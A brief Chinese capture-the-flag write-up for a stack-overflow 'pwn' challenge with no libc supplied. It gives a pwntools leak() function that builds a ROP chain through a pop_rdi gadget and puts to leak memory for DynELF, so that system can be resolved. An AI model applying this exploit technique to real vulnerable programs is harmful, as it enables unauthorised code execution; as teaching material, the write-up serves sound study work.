1.与之前做的pwn100一模一样,只是之前有给Libc,这次没给Libc。栈溢出,选择用Puts函数来泄露地址从而再执行栈溢出来重复使用。
2.编写leak函数,由于用Puts函数打印,所以需要有个循环条件,具体原因可以查看之前写的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #注释头
def leak(addr): count = 0 up = '' content = '' payload = 'A'*72 #padding payload += p64(pop_rdi) #给puts()赋值 payload += p64(addr) #leak函数的参数addr payload += p64(puts_addr) #调用puts()函数 payload += p64(start_addr) #跳转到start,恢复栈 payload = payload.ljust(200, 'B') #padding io.send(payload) io.recvuntil("bye~\n") while True: #无限循环读取,防止recv()读取输出不全 c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏 count += 1 if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了 data = data[:-1]+'\x00' #最后一个字符置为\x00 break else: data += c #拼接输出 up = c #保存最后一个字符 data = data[:4] #截取输出的一段作为返回值,提供给DynELF处理 log.info("%#x => %s" % (addr, (data or '').encode('hex'))) return data
|
3.得到system_addr的地址后,后续的操作用万能gadget和read函数即可实现。如果还需要其它地址,也可以通过此方法来打印,也是一样的。
(参照之前不给Libc的pwn100)
参考资料:
https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157